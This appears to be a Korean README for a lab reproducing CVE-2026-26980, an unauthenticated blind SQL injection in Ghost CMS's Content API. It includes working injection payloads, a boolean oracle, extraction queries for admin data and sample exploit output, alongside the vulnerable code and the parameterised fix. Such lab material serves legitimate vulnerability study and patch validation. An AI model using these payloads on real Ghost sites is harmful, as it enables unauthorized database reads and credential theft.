
CVE-2026-26980 — Ghost CMS Content API SQL 인젝션 랩 (slug 필터 정렬을 통한 인증되지 않은 블라인드 SQLi)
Ghost CMS의 Content API 슬러그 필터 정렬 메커니즘을 통한 인증되지 않은 블라인드 SQL 인젝션으로, 자격 증명 없이 모든 Ghost 인스턴스에서 임의의 데이터베이스 읽기가 가능합니다.
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-89 (SQL Injection) |
| 영향 버전 | Ghost 3.24.0 -- 6.19.0 |
| 수정 버전 | Ghost 6.19.1 |
| 인증 필요 | 없음 (Content API 키는 설계상 공개) |
| 크레딧/참고 자료 | Nicholas Carlini, Claude 및 Anthropic 사용 [https://www.youtube.com/watch?v=1sd26pWhfmg] |
면책 조항 -- 이 랩은 공인된 보안 테스트, 교육 및 방어적 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.
Ghost의 Content API는 배열 표기법을 사용하여 슬러그로 태그와 게시물을 필터링하는 것을 지원합니다: filter=slug:[tag-a,tag-b]. 내부적으로 헬퍼 함수는 요청된 슬러그 순서를 유지하기 위해 ORDER BY CASE 문을 생성합니다. v6.19.1 이전에는 사용자 제공 슬러그 값이 매개변수화 없이 이 SQL에 직접 삽입되었습니다:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (취약)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Content API 키는 모든 Ghost 사이트의 HTML(data-key="...")에 포함되어 있어 완전히 인증되지 않은 공격 표면을 제공합니다.
Ghost의 NQL 쿼리 언어는 필터 입력을 검증하고 원시 작은따옴표나 공백을 거부합니다. 그러나 NQL은 배열 표기법(slug:['value']) 내부의 작은따옴표로 감싼 값을 허용하며, 따옴표를 리터럴의 일부로 전달합니다. slugFilterOrder 정규식은 이러한 값을 추출하여 따옴표를 포함한 채 SQL에 삽입합니다:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL은 따옴표를 리터럴 문자로 전달
삽입 후 ORDER BY는 다음과 같이 됩니다:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
MySQL의 기본 SQL 모드에서 ||는 OR이고 ''는 거짓입니다. 이를 통해 깔끔한 부울 오라클을 얻을 수 있습니다:
| 조건 | CASE 결과 | 효과 |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | 정상 응답 (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLE 오버플로 오류 (HTTP 500) |
오라클이 확립되면 표준 이진 검색 블라인드 추출이 적용됩니다:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
SUBSTR(... FROM pos FOR len) 구문은 slugFilterOrder가 분할하는 쉼표를 피합니다.
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





수정은 문자열 삽입을 매개변수화된 바인딩으로 대체합니다:
// 수정됨
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
crud.js 플러그인은 orderByRaw를 통해 바인딩을 전달하도록 업데이트되었으며, @tryghost/bookshelf-plugins는 바인딩 지원을 추가하는 0.6.29로 업그레이드되었습니다.
requests가 포함된 Python 3.8+# 랩 클론 및 진입
git clone <this-repo> && cd ghost-cve-2026-26980
# Python 의존성 설치
pip install -r requirements.txt
# 취약한 Ghost 인스턴스 시작 (6.18.0 + MySQL 8)
docker compose up -d
# Ghost 초기화를 위해 약 45초 대기 후 익스플로잇 실행
python3 exploit.py --url http://localhost:2368
# 패치된 Ghost 6.19.1을 포트 2369에서도 시작
docker compose --profile fixed up -d
# 약 45초 대기 후 수정이 인젝션을 차단하는지 확인
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL (기본값: http://localhost:2368)
--validate-fix 대상이 취약하지 않음을 확인
--extract-password 관리자 bcrypt 해시도 추출
--extract-api-key 관리자 API 시크릿도 추출
--content-key KEY 설정 건너뛰고 이 Content API 키 직접 사용
-v, --verbose 쿼리별 오라클 결과 표시
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Ghost가 http://localhost:2368에서 준비될 때까지 대기
[*] Ghost 설정 중 (admin: [email protected])
[+] 설정 완료 — 세션 수립
[+] 로그인됨
[+] Content API 키: ad63c06a71457583ea58f050c1
[+] 앵커 슬러그: news
[*] 1단계 — 부울 블라인드 검증
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] 부울 오라클 확인 — 취약함
[*] 2a단계 — 관리자 이메일 추출
관리자 이메일 길이 측정... 21자
추출 중: [email protected]
[+] 이메일: [email protected]
============================================================
익스플로잇 요약
============================================================
대상: http://localhost:2368
CVE: CVE-2026-26980
Content 키: ad63c06a71457583ea58f050c1
관리자 이메일: [email protected]
============================================================
동일한 릴리스에서 두 번째 취약점이 패치되었습니다. Ghost의 {{#get}} Handlebars 헬퍼는 경로 표현식을 해석하기 위해 jsonpath 패키지(static-eval에 의존)를 사용했습니다. 악성 테마는 프로토타입 순회를 통해 Function()에 도달하는 표현식을 구성하여 서버 측 코드 실행을 달성할 수 있었습니다.
| CVE | CVE-2026-29053 |
| 영향 버전 | Ghost 0.7.2 -- 6.19.0 |
| 인증 | 관리자 (테마 업로드) |
| 수정 | jsonpath를 점 표기법, [N], [*]만 지원하는 제한된 querySimplePath() 함수로 대체 |
이 랩은 CVE-2026-26980이 인증되지 않았고 외부 공격자에게 더 영향력이 크므로 이에 초점을 맞춥니다.
.
├── README.md # 이 파일
├── docker-compose.yml # Ghost 6.18.0 (취약) + 6.19.1 (수정) with MySQL 8
├── exploit.py # 전체 PoC: 설정, 검증, 추출
├── validate.sh # 종단 간 검증 래퍼
└── requirements.txt # Python 의존성
이 랩은 MIT 라이선스에 따라 교육 및 공인된 보안 테스트 목적으로 제공됩니다.